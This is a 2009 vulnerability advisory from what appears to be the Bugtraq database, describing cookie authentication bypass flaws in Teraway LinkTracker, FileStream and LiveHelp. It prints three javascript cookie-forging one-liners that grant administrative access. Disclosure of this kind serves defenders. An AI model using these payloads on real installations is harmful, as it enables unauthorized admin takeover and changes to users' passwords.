Multiple Teraway Products Unauthorized Access and Cookie Authentication Bypass Vulnerabilities

Bugtraq ID:	34735
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 27 2009 12:00AM
Updated:	Apr 28 2009 07:06PM
Credit:	thE g0bL!N
Vulnerable:	Teraway LiveHelp 2.0 Teraway LinkTracker 1.0 Teraway FileStream 1.0
Not Vulnerable:

Multiple Teraway Products Unauthorized Access and Cookie Authentication Bypass Vulnerabilities

Multiple Teraway products are prone to an unauthorized-access vulnerability and multiple authentication-bypass vulnerabilities.

An attacker can exploit these issues to gain administrative access to the affected applications and change users' passwords.

The following Teraway products and versions are affected:

LinkTracker 1.0
FileStream 1.0
LiveHelp 2.0

Multiple Teraway Products Unauthorized Access and Cookie Authentication Bypass Vulnerabilities

Attackers can use a browser to exploit these issues.

The following examples are available:

javascript:document.cookie="twLTadmin=userid=1&lvl=1;path=/";javascript:document.cookie="twFSadmin=1;path=/";
javascript:document.cookie="TWLHadmin=pwd=&lvl=1&usr=&alias=admin&userid=1;path=/";

An exploit is also available:

• /data/vulnerabilities/exploits/34735.html

Multiple Teraway Products Unauthorized Access and Cookie Authentication Bypass Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Multiple Teraway Products Unauthorized Access and Cookie Authentication Bypass Vulnerabilities

References:

• Vendor Homepage (Teraway)